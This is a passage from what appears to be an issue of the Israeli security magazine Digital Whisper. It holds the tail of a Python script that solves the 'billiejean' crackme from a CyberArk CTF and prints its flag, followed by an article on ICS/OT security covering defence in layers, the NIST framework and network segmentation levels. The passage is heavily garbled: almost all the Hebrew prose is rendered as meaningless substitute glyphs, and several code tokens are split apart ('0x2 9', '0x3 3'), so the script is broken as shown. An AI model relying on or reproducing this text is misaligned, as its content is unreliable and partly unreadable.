key  += chr(0x9c -  0x23)  

# (input[3]^0x54) * 0x31 == 0x1324  

key  += chr((0x1324 / 0x31) ^ 0x54)  

# input[4] +0x85 == 0xFA 

key  += chr(0xFA -  0x85)  

# (input[5]^0x14^0x40) * 0x31 == 0xB1A 

key  += chr((0xB1A / 0x31) ^ 0x14 ^ 0x40)  

 

# 124  

 

# input[0] +53 != 0  

key  += ' ?'  

# input[1]^0x5B == 4 

key  += chr(0x04 ^ 0x5B)  

# input[2] +0x5B == 0xCB 

key  += chr(0xCB -  0x5B)  

# (input[3]^0x61) * 0x06 == 0x72  

key  += chr((0x72 / 0x06) ^ 0x61)  

# input[4] +0x67 == 0x97  

key  += chr(0x97 -  0x67)  

# (input[5]^0x16^0x4B) * 0x06 == 0x174  

key  += chr((0x174 / 0x06) ^ 0x16 ^ 0x4B)  

 

# 125  

 

# input[0] +0x1F != 0  

key  += ' ?'  

# input[1]^0x05^0x24^0x26 == 0x32  

key  += chr(0x05 ^ 0x24 ^ 0x26 ^ 0x32)  

# input[2] +0x03 == 0x38  

key  += chr(0x38 -  0x03)  

# (input[3]^0x29) * 0x26 == 0x3DC 

key  += chr((0x3DC / 0x26) ^ 0x2 9)  

# input[4] +0x4F == 0x84  

key  += chr(0x84 -  0x4F)  

# (input[5]^0x05^0x24) * 0x26 == 0x12B4  

key  += chr((0x12B4 / 0x26) ^ 0x05 ^ 0x24)  

 

#126  

 

# input[0] +0x02 != 0  

key  += ' ?'  

# input[1]^0x09^0x0B^0x47 == 0x76  

key  += chr(0x09 ^ 0x0B ^ 0x47 ^ 0x76)  

# input[2] - 0x3 3 == 0x01  

key  += chr(0x01 + 0x33)  

# (input[3]^0x14) * 0x47 == 0x1C4A 

key  += chr((0x1C4A / 0x47) ^ 0x14)  

# input[4] +0x5B == 0x92  

key  += chr(0x92 -  0x5B)  

# (input[5]^0x09^0x0B) * 0x47 == 0xF41  

key  += chr((0xF41 / 0x47) ^ 0x09 ^ 0x0B)  

 

print  key  
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 ˣˮ˪˟˧˵ˣh0ll0w1n?_y0un?_pr0c?5535_?34r75 .(ˣ˸ ˪˩ ˸ˣ˧ˢ˪ ˫˧˪ˣ˩˧ ˢ˪˞˷ ˧ˮˬ˧˯ ˫ˢ˷ ˫˧ˣˣ˸ˢ)  ˳˧˶ˮ

:˪˟˵ˮˣ 

C: \ Users \ VM\ Desktop \ CTF\ ArkCon \ billiejean >billiejean . exe 

h0ll0w1n?_y0un?_pr0c?5535_?34r75  

You are the one!  

Good job .  

ˢ ˸˞ ˞ˣ˴ˬ˪ ˸ˣˮˣ˧˯˧ˮ (ˢ˟˶ˢ) ˸˴˵ ˧˶˥˞-flag ˣ˧˩ ˫˧˶˴ˣ˧ˢ ˣ˧˪˞˷:ˣˮ˪˟˧˵ ,ˣˮˣ 

h0ll0w1n6_y0un6_pr0c35535_h34r75 

 

˫ˣ˩˧˯ 

 

˪ ˡˣ˟˩ˢ ˪˩-CyberArk ˢ ˭ˣˠ˶˞ ˪˰-CTF ˢ˧˧ˮ˷ˢ ˢˮ˷ˢ ˣˤ ,˫ˢ˪˷ ˰˵˷ˣˬˢ ˯ˮ˩ˢ ˭ˣˠ˶˞ ˪˰ ˪˪˩˟ˣ ,

 .˸ˣ˲˧˴˶˟ 

 ˫˧˶ˠ˸˞ˢ˷ ˸ˣ˞˶˪ ˣˮ˥ˬ˷ .˧ˬ˷˶ˢ ˡ˰ˣˬˢ ˸˶˧ˠ˯ ˫˰ ˡ˧ˬ ˣ˶ˠ˯ˮ ˫˧˶ˠ˸˞ˢ˷ ˨˩ ˪˰ ˣˮ˪ˢ ˫ˡˣ˵ˢ ˶ˬ˞ˬ˟

˷ ˣ˪˞ ˪˪ˣ˩ ,˷ˡ˥ˬ ˣ˥˸˲ˮ ,˶˞˷ˢ ˭˧˟ ,˶˷˲˞ ˶˟ˡˢ .˫˧˶˥˞ ˪˷ˣ ˣˮ˪˷ ˢ˷˵˟ˢ ˸ˣ˟˵˰˟ ,ˣˬ˴˰ ˯ˮ˩˟ ˣ˧ˢ

.ˢˤˢ ˶ˬ˞ˬˢ ˸˟˧˸˩ ˸˞ 

ˣˬ˴˰ ˯ˮ˩˟ ˫˧˶ˠ˸˞ˢ ˭ˣ˶˸˲˪ ˫˶˸ˣ ˳˰˧˧ ,˶ˤ˰˷ ˧ˬ ˪˩˪ ˢ˟˶ ˢˡˣ˸ ,˫ˣ˧˯˪! 

  



 
 

ˬ˴˫ˣ˴ ˧ˮˣ˩˧˯ ˶˟˧˧˯ ˸ˣ˩˶˰ˬ˟ ICS ˸ˣ˸˷˶ˣ OT 

www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ107 ,˧ˮˣ˧ 2019  93 
 

˫ˣ˴ˬ˴ ˧ˮˣ˩˧˯ ˶˟˧˧˯ ˸ˣ˩˶˰ˬ˟ ICS ˸ˣ˸˷˶ˣ OT 

 ˸˞ˬ˶ˠˮ˧ˤ ˡ˰˪ˠ 

 

ˢˬˡ˵ˢ 

˸˧ˬ˞ ˶ˣ˲˧˯ˬ ˪˧˥˸˞ :˧-˟23  ˶˟ˬ˴ˡ˪2015˷ˬ˪ ,˩ ˨-10  ˣ˸˟˷ˣˢ ,˸ˣ˵ˡ3  ˢ˧ˠ˶ˮ˞ ˸˰ˮ˷ˢ ˸ˣˮ˥˸

.˶˟˧˧˯ ˸˲˧˵˸ ˧"˰ ˫˧˥˶ˤ˞ ˪˷ ˫˧˸˟ ˣ˩˷˥ˣˢ ˫˪ˣ˰˟ ˢˮˣ˷˞˶˪ ˢ˞˶ˮˢ ˪˩˩ˣ ˢˮ˧˧˞˶˵ˣ˞˟  ˸ˣ˶˲˯ˬ ˸ˣ˩˶˰ˢ

˩ ˢ˷˰ˬ˪ ˢ˪˥ˢ ˢ˲˧˵˸ˢ ˧˩-8 ˢ ˸˷˶ ˢ˲˧˵˸ ˭ˢˮ˧˟ ˫˧˟˪˷ ˶˲˯ˬ ˢ˪˪˩ˣ ˭˩˪ ˫˶˦ ˫˧˷ˡˣ˥-IT ˧"˰Spear 

Phising Email7˶˲˯ˬ ˨˷ˬ˟ ˭˧˰˧ˡˣˬ ˱ˣ˯˧˞ , ˢ ˸˷˶ ˸ˣˡˣ˞ ˫˧˷ˡˣ˥-ITˢ ˸˷˶ ,-OT   ,˭ˢˮ˧˟ ˸ˣ˧˶ˣ˟˧˥ˢˣ

 ˸˶ˡ˥ˢˢˣ ˷ˣˬ˧˷˟ ˫˧ˮ˯˥ˢˣ ˫˧˟˧˩˶ ,˸˷˶˟ ˸ˣ˷˪ˣ˥ ˶ˣ˸˧˞Back Dors  (˶˥ˣ˞ ˷ˣˬ˧ˬ˪ ˸ˣ˧˶ˣ˥˞ ˸ˣ˸˪ˡ)

˩˪ ˪ˬ˷˥ ˸˵˲˯˞ ˪˷ ˢ˸˟˷ˢ ˣ˦˵˲ ˢˡ ˢ˶˴˧ ˶˷˞ ˢˬ˴˰ ˢ˲˧˵˸ˢ ˱ˣ˯˟˪ˣ-200,000 .˫˧˟˷ˣ˸ 

 

]˫˧ˮˣ˷˞˶ˢ ˢ˲˧˵˸ˢ ˧˟˪˷ ˪˷ ˧˸ˬ˩˯ ˶ˣ˞˸ ,˶ˣ˵ˬ[ 

  

                                                           
 

7
 ˧˪ ˰ˮ˩ˣ˷ˬˣ ˢ˦ˣ˷ˬ ˭˰ˬˮˢ ˢ˟ ˸˧˸˶˟˥ ˢ˯ˡˮˢ ˸˟˪˷ˬˢ ˢ˦˧˷ ˪˧˧ˬˢ ˭˩ˣ˸ ˶˷˞˩ ,˶ˣ˷˧˵ ˪˰ ˢ˴˧˥˪ 'ˠˣˡ˪ ,˪˧˧ˬ˟ ˟˸˩ˮˢ ˫˰ ˢ˧˴˵˶˞˦ˮ˧˞ ˶˴˧

˧˪˪˩ ˭˩ˣ˸ ˪˧˩ˢ˪ ˢ˪ˣ˩˧ ˶˷˞ ˢ˪˧ˠ˶ ˠˮ˧˷˧˲ ˸˲˧˵˸ˬ ˪˧ˡ˟ˢ˪ ,˭˰ˬˮ˪ ˸˧˷˧˞ ˫˧˞˸ˬ. 

 

https://www.isa-france.org/telechargement/fichiers/Intech_ISA99_2017/Article%20Intech.pdf
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:˫˧˞˟ˢ ˫˧˞˴ˬˬˢ ˶˞˷ˢ ˭˧˟ ˣ˪˰ ˢ˲˧˵˸ˢ ˥ˣ˸˧ˮˬ 

¶ ˢ ˸˷˶˪ ˶˟˥˸ˢ˪ ˱˵ˣ˸˪ ˶˷˲˧˞˷ ˢˬ ˸ˣˮˣ˷ˢ ˸ˣ˸˷˶ˢ ˭˧˟ ˰ˡ˧ˬ ˶˟˰ˬ ˪˷ ˢ˶˵˟ ˢ˰˴ˣ˟ ˞˪-OT  

˟ ˷ˣˬ˧˷ ˟"˰-SSH ˢ ˪˩ ˞˪˪.˭ˬˤ ˨˶ˣ˞˪ˣ ˢ˰˶˲ 

¶  ˪˷ ˢ˶˟˰ˢ ˰˴˟˪ ˱˵ˣ˸˪ ˶˷˲˧˞˷ ˢˬ ˸ˣˮˣ˷ˢ ˸ˣ˸˷˶ˢ ˭˧˟ ˫˧˴˟˵ ˸˶˟˰ˢ ˪˷ ˢ˶˵˟ ˢ˰˴ˣ˟ ˞˪

.˸ˣ˸˷˶ˢ ˭˧˟ ˸ˣ˰˷ˣ˶ 

¶ .˸˷˶˪ ˵˥ˣ˶ˬˢ ˶ˣ˟˧˥ˢ ˸˞ ˵˸ˮ˪ ˸ˣ˶˷˲˞ ˢ˸˧ˢ ˞˪ ˱˵˸ˮ˪ ˢ˲˧˵˸ˢ ˭ˬˤ˟ 

¶ .˱˵˸ˮˢ ˸ˣ˩˶˰ˬ˟ ˭˧ˣ˰ ˡˣ˵ ˪ˣˬ ˪˞ ˸˧˟˧˦˵˞ ˢˮˠˢ ˫ˣ˷ ˢ˸˧ˢ ˞˪ 

¶  ˞˪˪ ˸˷˶ ˸ˣ˵˧˶˯ ˰˴˧˟ ˱˵ˣ˸ˢ.ˣ˸ˣ˪˧˰˲ ˶ˣ˦˧ˮ ˣ˞ ˢ˰˶˲ˢ ˪˩ 

 

 ˸ˣ˩˶˰ˬ˟ ˫˧ˮˣ˩˧˯ˢˣ ˫˧ˬˣ˧˞ˢ ,˫˧˯˩ˮˢ ˫˰ ˸ˣ˶˩ˢ ˸ˣˡˣ˞ ˧˸˶˵˯ ˫˧ˬˡˣ˵ˢ ˫˧˶ˬ˞ˬ˟ICS   ˸ˣ˸˷˶ˣOT .

˫˧˥ˮˬ ˸ˣˮˣ˶˵˰ ˧ˮ˷ ˪˰ ˯˯˟˸ˬ ˧ˮ˞ ˶˷˞˩ ˫˧ˮˣ˩˧˯ ˫ˣ˴ˬ˴ˣ ˢˮˠˢ ˸ˣ˦˧˷ ˶ˣ˵˯˞ ˢˤ ˶ˬ˞ˬ˟:  ˭ˣ˷˞˶ˢ

 ˸ˣ˟˩˷ ˣ˞ ˫˧˪ˠ˰ˬ˟ ˢ˥˦˟˞ ˣˮ˧ˢ ˰ˣˡ˧ˢˣ ˶˩ˣˬˢDefance in Layers  ˢˮˠˢ/ˢ˥˦˟˞ ˭ˣˮˠˮˬ ˫˧˧˵ ˞˪ ˣ˧˲˪

 ˭ˣ˶˵˧˰ ˣˮ˧ˢ ˸ˣ˥˲ ˸˴˵ ˶˩ˣˬˢ ˧ˮ˷ˢ .˭ˣˠ˶˞˟ ˣ˞ ˸˷˶˟ ˫˧ˮˣ˷ ˫˧˶ˣˤ˞˪ ˫˧ˬ˧˞˸ˬˢ ˫˧ˮˣˠˮˬ ˭ˣˣˠˬ ˞˪˞ ˡ˥˞

-sPPT - People, Process, Technoloegy -  ˪˞ ˭ˣ˩˧˯ ˧˴ˬ˴ˬ˩ ˣ˴˟ˣ˷˧ ˶˷˞ ˸ˣ˧ˠˣ˪ˣˮ˩˦ˣ ˫˧˩˧˪ˢ˸ ,˫˧˷ˮ˞

˸ˣ˶˵˟ ˣˣˢ˧ˣ ˫˧ˮˣ˷ˢ ˢ˲˧˵˸ˢ ˧˷˧˥˶˸ ˪ˣˬ .˫˧ˬˣ˧˞ ˪ˣˬ ˪˞ ˸ˣ˰ˮˣˬ ˣ˞ ˸ˣ˴˲ˬ 

 

Defence in Layers 

 ˶˧˟˯˞ ˞˷ˣˮˢ ˪˰˨˩ ˪˰ ˟˧˥˶˞ ˨˷ˬˢ˟ ˭˩˷ ˫˧˪˧ˬ ˢˬ˩˟ :˨˷ˬˢ˟ 

                      

 ˡ˟˪˟ ˫˧˷˶ˣˬ˪ ˱˷˥˧˧ ˠˣˣ˯ˬˢ ˶ˬˣ˥ˢ ˣ˟ ,˧˯˧˲ˢ ˢ˥˦˟˞ˢ ˫˪ˣ˰ˬ ˢ˞˟ˣ˧ ˶ˣ˵ˬ˟ ˶˷˞ ˢ˦˧˷˟ ˶˟ˣˡˬ

 ˪ˠ˰ˬ)1) ˸˲˯˩˟ ˵ˤ˥ˣ˧ ,(2) ˪˰ˮ˧˸ ˡ˶˷ˬˢ ˸˪ˡ ,(3 'ˣ˩ˣ ˸ˣ˶ˡˠ ˢ˵˰ˤ˞ ,˶ˬˣ˷ ,ˡ˶˷ˬ˪ ˢ˯˧ˮ˩ ˸˶˵˟ ,(

.ˠˣˣ˯ˬˢ ˰ˡ˧ˬˢ ˪˰ ˭ˠˢ˪ ˧ˡ˩ ˧ˮ˷˟ ˡ˥˞ ˫˧˧ˣ˪˸ ˧˸˪˟ ˟ˣ˶˪ˣ ˫˸ˣˢˬ˟ ˫˧ˮˣ˷ˢ ˢ˥˦˟˞ ˧˪ˠ˰ˬ ˣˣˢ˧ ˶˷˞ 

  

Network 

 

Systems & 
Applications 

 

Endpoint 

 People 
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 ˭˧˟ ˭ˣ˧ˬˡˢ ˭˞˩ˣ) ˰ˡ˧ˬˢ ˸˥˦˟˞ ˫˪ˣ˰˟OT ˪-IT  ˣ˶˟˰ ˢ˩˞˪ˬ˟ ˫˧˵˯ˣ˰ˢ ˫˧ˡ˧˵˲˸ˢ ˧˪˰˟ ˧˩ ˠ˞ˡˮ ,(ˢˣ˟ˠ

 ˡ˟˪ˬˣ ˣˢ˷˪˩ ˧˸˵ˣ˯˰˸ ˠˣˣ˧˯/˭ˣ˧ˬ ˸˧˞˶ˮˢ ˸ˣ˶˧˟˯ ˸ˬ˧˧˵ ˞˪ ˧˩ ˵ˡ˟˧ ,˫˸˶˷ˬ˪ ˸˧˰ˣ˴˵ˬ ˫˧˶˧˷˩ ˫˸ˣ˧ˢ

 .˫ˡ˧˴ˬ ˢ˧ˣ˲˴ˢ ˸˧ˮˣˡˤ ˸ˣ˪˧˰˲ ˸ˣˡˣ˞ ˭˧˧˰˪ 

ˢ˴˵ˢ ˸ˣˮ˥˸ ˪ˣˬ ˪˞ , ˸˰˧ˮˬ ,˸ˣ˞˷˶ˢ) ˸ˣ˧˟˦˵˧˪˲˞ ˸ˣˮˠˢ ˫˧˧˵˪ ˪˰˲ˮ ˰ˡ˧ˬˢ ˸ˣ˩˶˰ˬˣ ˸ˣ˧˴˵˧˪˲˞ˢ

 ˶ˣ˦˧ˮ ,˸ˣ˰˷ˣ˶- ˣˮ ˱ˣ˯˟˪ˣ ˸ˣ˧˟˧˦˵˞ˣ˶˲ˣ (˨˷ˬˢ˟ ˪˩ˢ ˪˰ ˟˧˥˶˞ ,ˠˣ˞ˡ˪ ˞˪ ˸˧˟˧˦˵˞ ˢˮˠˢ ˸ˬ˧˧˵ ˧˩ ˞ˡˣ

(ˢ˶˵˟ˣ ˶ˣ˦˧ˮ ˪˪ˣ˩) ˫˧ˮˣ˷ˢ ˢ˧˧˶ˣ˷˧˵ ˪˰ˣ ˢˬ˴˰ ˸˷˶ˢ ˪˰. 

 

P.P.T - People, Process, Tecnolegy 

 ˫˧ˮˣˠ˶˞ ,˷˞ ˸ˬˣ˥ˣ ˯ˣ˶˧ˣ˧˦ˮ˞ ˸˩˶˰ˬ ˫ˢ˪ ˸ˮ˵˸ˣˬ ˭˩˷ ˸ˣ˞˧˩ ˫˧˥˦˟ˣ˞ˬ ˫ˢ ˧˩ ˫˧ˮ˰ˣ˦ ˫˧˟˶ ˫˧ˮˣˠ˶˞

˪ ˣ˩ˬ˯ˣˢ ˵ˣ˧ˡ˟ ˫ˢ˷ ˭ˣˣ˧˩ˬ ˫˧˥˦˟ˣ˞ˬ ˫ˢ ˧˩ ˣˮ˰˦ ˫˧˶˥˞-ISO .˧ˮˣ˴˧˥ ˶˵˟ˬ ˧"˰ 

 ˫˷ ˞˴ˬˮ ˞˪ ˶˟˧˧˯ ˸ˣ˲˧˵˸ˬ ˢˮˠˢ˷ ˢ˞˶ˮ˩ ,ˣ˦˵ˮ ˫˧ˮˣˠ˶˞ ˫˸ˣ˞ ˫ˢ˟ ˫˧ˡ˧˥˧ˢ ˫˧˰˴ˬ˞ˢ ˣ˪˞ˣ ˢˡ˧ˬ˟

:˫˧ˬ˶ˣˠˢ ˸˷ˣ˪˷ ˸˞ ˟˪˷˪ ˟˧˧˥˷ ˨˧˪ˢ˸˟ ˶˟ˣˡˬ ˭˩˷ 

¶  ˫˧˷ˮ˞-  ˰ˡ˧ˬˢ ˸˥˦˟˞ ˪˰ ˫˧˞˶˥˞ˢ ˫˧ˡ˟ˣ˰ˢ ˪˷ ˢ˶˷˩ˢ ˰˴˟˪ ˷˧ ,˧˸˵ˣ˯˰˸ ˭ˣˮ˧˯ˣ ˭ˣ˧ˬ˪ ˶˟˰ˬ

.˫˧˯˩ˮˢ ˪˰ ˢˮˠˢˢˣ 

¶  ˫˧˩˧˪ˢ˸- .˨˲˧ˢ˪ˣ ˭ˣˠ˶˞˟ ˢˮˠˢˢ ˸˧ˮ˩ˣ˸˟ ˫˧˩ˬˣ˸ˢ ˫˧˪ˢˮˣ ˢˡˣ˟˰ ˧˩˧˪ˢ˸ ˶˴˧˧˪ ˷˧ 

¶  ˸ˣ˧ˠˣ˪ˮ˩˦-  ˶˴ˣˣ˧ˢ˪ ˪ˣ˪˰ˢ ˭ˣ˩˧˯˪ˣ ˣ˧˪˰ ˪˥ˢ ˫ˣ˧˞˪ ,˯˩ˮˢ ˠˣ˯˪ ˸ˣˬ˧˞˸ˬˢ ˸ˣ˧ˠˣ˪ˣˮ˩˦ ˫˷˧˧˪ ˷˧

.˭ˣˠ˶˞˪ 
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 ˸ˣ˩˶˰ˬ˟ ˶ˣ˦˧ˮ ˧˰˴ˬ˞ˣ ˸ˣˮˠˢ ,˫˧ˮˣ˩˧˯ ˫ˣ˴ˬ˴ICS 

 ˸ˣ˩˶˰ˬICS   ˸ˣ˸˷˶ˣOT  ˭ˮ˧ˢ ,˪˪˩˟  ˫˧˶˰˲˪ ˢˮ˰ˬ ˸˸˪ ˣˮ˞ˣ˟˟ ˭˩˪ ˸ˣ˧˸˟˩˷ ˟˶ ˸ˣ˟˩˶ˣˬ ˸ˣ˩˶˰ˬ

 ˡ˥˞ ˧˲˪ ˢˮ˰ˬˢ ˸˞ ˵˪˥˪ ˨˶˦˴ˮ (˫ˡˣ˵ˢ ˶ˬ˞ˬ˟ ˧˸ˬˠˡˢ˷ ˧˲˩) ˢ˲˧˵˸ˢ ˧˷˧˥˶˸˪ ˸ˣ˴˲ˬ ˸ˣ˶˵˟ˣ

) ˫˧˪ˡˣˬˢFrameWork.˫˧˧ˬˣ˵ˬˢ ˫˧ˮ˵˸˪ ˣ˞ ˢ˧˴˪ˣˠ˶˪ ˣˬ˧˞˸ˢ˪ˣ ˫˧˪˟ˣ˵ˬˢ ( 

 ˪˷ ˢˮˠˢˢ ˸ˣˮˣ˶˵˰˟ ˡ˵ˬ˸ˢ˪ ˧˸˶˥˟ ˶ˬ˞ˬˢ ˸˟ˣ˦˪NIST ˣ˴˧˵) ˪˷ ˶National Institute Of Standarts 

And Technology(  ˧˸˶˥˟ˣ ˸ˣˮˣˣˠˬˣ ˸ˣ˟˶ ˸ˣ˶˵˟ ˸ˣˬ˧˧˵ ,˸ˣ˩˶˰ˬˢ ˸ˣ˟˩˶ˣˬ ˪˷˟ ˧˩ ˭˧˧˴˪ ˟˧˧˥ ˭˩ ˣˬ˩

.ˡ˟˪˟ ˸ˣ˧ˤ˩˶ˬ˟ ˫ˡ˵˸ˢ˪ ˭˟ˣˬ˩ 

 ˫˧˷ˮ˞ˣ ˫˧˩˧˪ˢ˸ ,ˢ˧ˠˣ˪ˣˮ˩˦ ˟ˣ˪˧˷˟ ˸ˣ˟˧˷˥ˢ ˪˰ ˧˸˶˟˯ˢ ˸ˬˡˣ˵ˢ ˢ˵˯˲˟- ˫ˬ˴˰ ˫˧ˮ˰ˬ˪ ˪ˣ˪˴ˮ ˸˰˩: 

¶  / ˧ˣˢ˧ˤIDENTIFY -  ˰ˣ˟˵˪ˣ ˫˧˯˩ˮˢ ˸˞ ˸ˣ˲ˬ˪ ˢ˶˦ˬ˟ ˭ˣˠ˶˞˟ ˱˧˵ˬ ˫˧ˮˣ˩˧˯ ˶˵˯ ˰˴˟˪ ˷˧ ˶˞˷ˢ ˭˧˟

 .˭ˣˠ˶˞˪ ˸ˣ˧ˮ˧ˡˬˣ ˫˧˪ˢˮ 

¶  / ˢˮˠˢPROTECT - .˸ˣˬ˧˞˸ˬ ˸ˣ˶˷˩ˢˣ ˢ˷˧ˠ ˸ˣ˶˵˟ ,ˢˮˠˢ ˸ˣ˧ˠˣ˪ˣˮ˩˦ ˶˴˧˧˪ ˷˧ ˶˞˷ˢ ˭˧˟ 

¶ / ˧ˣˢ˧ˤˣ ˶ˣ˦˧ˮ ˶ˣ˸˧˞ DETECT - ,˫˧ˬ˧˧˵ˢ ˫˧˩˧˪ˢ˸˟ ˸ˣ˧˪ˬˣˮ˞ ˶˸˞˪ ˷˧ ˶˞˷ˢ ˭˧˟  ˸˵˴˪ ˷˧ ˫˸ˣ˞

ˠˣˡ˪) ˨˷ˬˢ ˧˪ˣ˲˧˦ ˸˟ˣ˦˪ ˫˧˩ˬˣ˸ ˫˧˩˧˪ˢ˸ˣ ˫˧ˮˣˮˠˮˬ ˨ˣ˸˪'  ˸ˣ˩˶˰ˬ˪ ˫˧˰ˣ˶˞ ˸ˬ˶ˤˢSIEM/SOC.( 

¶ ˢ˟ˣˠ˸ / RESPOND - ) ˸ˣ˲˧˵˸ˣ ˫˧ˠ˧˶˥ ˫˧˰ˣ˶˞ ˫˰ ˸ˣˡˡˣˬ˸ˢ˪ ˸˧ˮ˩ˣ˸ ˶˴˧˧˪ ˷˧ ˶˞˷ˢ ˭˧˟I/R (

.˧˵˯˰ˢ ˨˧˪ˢ˸˟ ˸ˣ˩ˬˣ˸ ˶˷˞ 

¶ ˸ˣ˷˷ˣ˞˸ˢ / RECOVER - ˸ˣ˧ˮ˩ˣ˸ ˶˴˧˧˪ ˷˧ ˶˞˷ˢ ˭˧˟ DRP/BCP  ˶˥˞˪ (˸˧˩˧˪ˢ˸ˣ ˸˧˵˯˰ ˸ˣ˧˩˷ˬˢ)

.ˢ˲˧˵˸ ˣ˞ ˰ˣ˶˞ 

  
[˶ˣ˦˧ˮˣ ˢ˥˦˟˞ ˸˯˧˲˸˪ ˞ˬˠˣˡ] 
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:˸ˣ˥˲˪ ˫˧˞˟ˢ ˫˧˰˴ˬ˞ˢ ˸˞ ˷ˬˬ˪ ˣˮ˧˪˰ "˯˪˩˸"˪ ˸˷ˠ˪ ˢ˴˶ˮ ˫˞ ˪˟˞ ˢ˲˧ˣ ˟ˣ˦ ˪˩ˢ ˭˞˩ ˡ˰ 

 ˢ˟˩˷0 - :˫˧˶ˣ˯ˮ˯ 

1. ˞˧ ˶˷˞ ˣˬ˴˰ ˶ˣ˯ˮ˯˟ ˧ˮˣˡˤ ˪ˣ˲˧˦ ˰ˣˮˬ˪ ˧ˡ˩˟ ˫˧˶ˣ˯ˮ˯ˢ ˪˰ ˸˧˯˧˲ ˢˮˠˢ ˞ˡˣˣ˪ ˷˧ ˣ˞ ˢ˥˧˪˷ ˶˷˲

.˸ˣ˩˶˰ˬ˪ ˧ˣˠ˷ ˰ˡ˧ˬ ˸˪˟˵ 

2.  ˰˴˟˪ ˭˸˧ˮ ˞˪ˣ ˭˸˧ˮˢ ˪˩˩ ˸ˮˠˣˬ ,˶˵˟ˢ ˭˧˟˪ ˶ˣ˯ˮ˯ˢ ˭˧˟ (ˣ˧ˡ˶/˸˧˦ˣ˥˪˞/˸˧ˣˣ˵) ˸˶ˣ˷˵˸ˢ ˧˩ ˞ˡˣˣ˪ ˷˧

.˨ˣˣ˸˪ ˢ˷˧ˠ 

 ˢ˟˩˷1 - :˫˧˶˵˟ 

1.  ˸˧˪˧˪˷ ˢ˶ˣ˴˟ ˰˧˲˷ˬ ˣˮ˧˞ ˭ˣ˩ˡ˰ˢ ˫˞˟ ˢ˵˧ˡ˟˪ ˱ˣ˲˩˟) ˭˶˴˧ ˸ˣ˞˶ˣˢ ˟"˰ ˫˧˶˵˟ˢ ˭ˣ˩ˡ˰ ˞ˡˣˣ˪ ˷˧

ˢ ˨˧˪ˢ˸ˢ ˪˰.(˧˵˯˰ 

2.  ˟"˰ ˰˴ˣ˟˧ ˪"ˮˢ ,ˣ˧˸ˣ˪ˣ˩˧˪ˣ ˶˵˟ˢ ˠˣ˯˪ ˱ˣ˲˩˟ ,˶˵˟˪ ˢ˷˧ˠ ˸˶˵˟ ˶˴˧˧˪ ˷˧PLAYBOOK  .˭˶˴˧ˢ ˪˷ 

3. .˧˵˯˰ˢ ˨˧˪ˢ˸˪ ˱ˣ˲˩˟ ˶˵˟˟ ˷ˣˬ˧ˬ˪ ˸ˣˮ˸˧ˮˢ ˸ˣˡˣ˵˲ˢ ˠˣ˯ ˸˞ ˪˧˟ˠˢ˪ ˷˧ ,˶˷˲˞ˢ ˸ˡ˧ˬ˟ 

4.  ˟˧˥˶˞) ˱˧˴˶ ˭˲ˣ˞˟ ˫˧˶˥˞ ˫˧˶˵˟/˯ˡˮˢˬ/˪˧˰˲ˬˢ ˸ˡˬ˰ ˭˧˟˪ ˶˵˟ˢ ˭˧˟ ˸˶ˣ˷˵˸ˢ ˸˞ ˶˦ˮ˪ ˷˧

˰ˬ.(˨˷ˬˢ˟ ˶ˣ˦˧ˮ ˸ˣ˩˶˰ˬ ˪˰ ˦ 

5.  (˶˵˟ˢ ˸ˣ˪ˣ˩˧ ˟"˰) ˶˵˟ˢ ˭ˬ ˢ˶ˣ˟˰˸ˢ ˸˞ ˭˧˲˴ˢ˪ ˷˧-  ˸ˣ˪ˣ˩˧ ˪˰ ˰˧˲˷ˢ˪ ˧ˣ˷˰ ˪"ˮˢ˷ ˭˟ˣˬ˩

.˶ˣ˦˧ˮˢ 

6. .(˫˧˧˦ˮˣˣ˪˶ˢ ˫˧˩˧˪ˢ˸ˢ ˡˣˬ˧˪ ˶˥˞˪) ˸˩˶˰ˬ˟ ˫˧˷˶ˣˬ ˫˧˩˧˪ˢ˸ ˪˷ "ˢˮ˟˪ ˢˬ˧˷˶" ˸˶˧˴˧ 

7. .˭˸˧ˮ˷ ˪˩˩ ˫˧˥˦˟ˣ˞ˬ ˫˧˪ˣ˵ˣ˦ˣ˶˲˟ ˷ˣˬ˧˷ 

8.  ˢ˶˵˟ˢ ˸˷˶ ˸˞ ˡ˧˶˲ˢ˪ ˷˧.(˨˷ˬˢ˟ ˨˩ ˪˰ ˟˧˥˶˞) ˸ˣ˶˥˞ ˸ˣ˸˷˶ˬ 

9. .ˡ˟ˣ˰ ˧ˣˣ˧˪˟ˣ ˫˧˷˶ˣˬ ˧"˰ ˰˴ˣ˟˸ ˫˧˶˵˟˪ ˸˧˯˧˲ ˢ˷˧ˠ 

 ˢ˟˩˷2 - LOCAL HMI/ RTU: 

1. .ˣ˪˞ ˫˧˶ˣˤ˞˪ ˸˧˯˧˲ ˢ˷˧ˠ ˸˶˵˟ ˞ˡˣˣ˪ ˷˧ 

2. .ˣ˪˞ ˫˧˰˴ˬ˞˪ ˸ˣ˞˷˶ˢ ˨˶˰ˬˣ ˸˧ˠˣ˪ ˢ˷˧ˠ ˸˶˵˟ ˞ˡˣˣ˪ ˷˧ 

3. .ˢ˷˧ˠˢ ˶ˣ˦˧ˮ˪ ˸ˣˬ˪˴ˬ ˭˧˵˸ˢ˪ ˳˪ˬˣˬ 

 ˢ˟˩˷3 - HMI/Engineering  STATION: 

1. .˫˧˟˷˥ˬ˪ ˫˧˧ˮˣ˴˧˥ ˫˧ˮ˵˸ˢ ˶ˣ˟˧˥ ˰ˣˮˬ˪ ˷˧ 

2.  ˪ˣ˦˧˟ ,ˢ˷˧ˠ ˸˶˵˟ ,˸ˣ˞ˬ˯˧˯) ˫˧˟˷˥ˬ˟ (˸˧˷˧˞) ˸˥˷˵ˣˬ ˞ˬ˯˧˯  ˸˪˪ˣ˩ˢ ˢ˷˧ˠ ˸˶˵˟ ˶˴˧˧˪ ˷˧

Local Admin .('ˡ˩ˣ 

3. .˸˩˶˰ˬ˪ ˢ˷˧ˠ ˭ˣ˪˷˧˩ˣ ˢ˥˪˴ˢ˪ ˫˧ˠˣ˪ ˱ˣ˯˞˪ ˷˧ 

4. .˸ˣ˩˶˰ˬ˟ ˸ˬ˧˧˵ ˫˞˟ ˸˧˦ˣ˥˪˞ ˸˶ˣ˷˵˸ ˪˩ ˪˦˟˪ ˷˧ 

5. ˸ˣ˧ˢ˪ ˟˧˧˥ ˟˷˥ˬˢ .˦ˮ˶˦ˮ˧˞ˢ ˸˷˶ˬ ˵˸ˣˮˬ 

6. .(ˢˮ˟˪ ˢˬ˧˷˶) ˸˩˶˰ˬ˟ ˫˧˷˶ˣˬ ˫˧˩˧˪ˢ˸ ˸˶˧˴˧ 

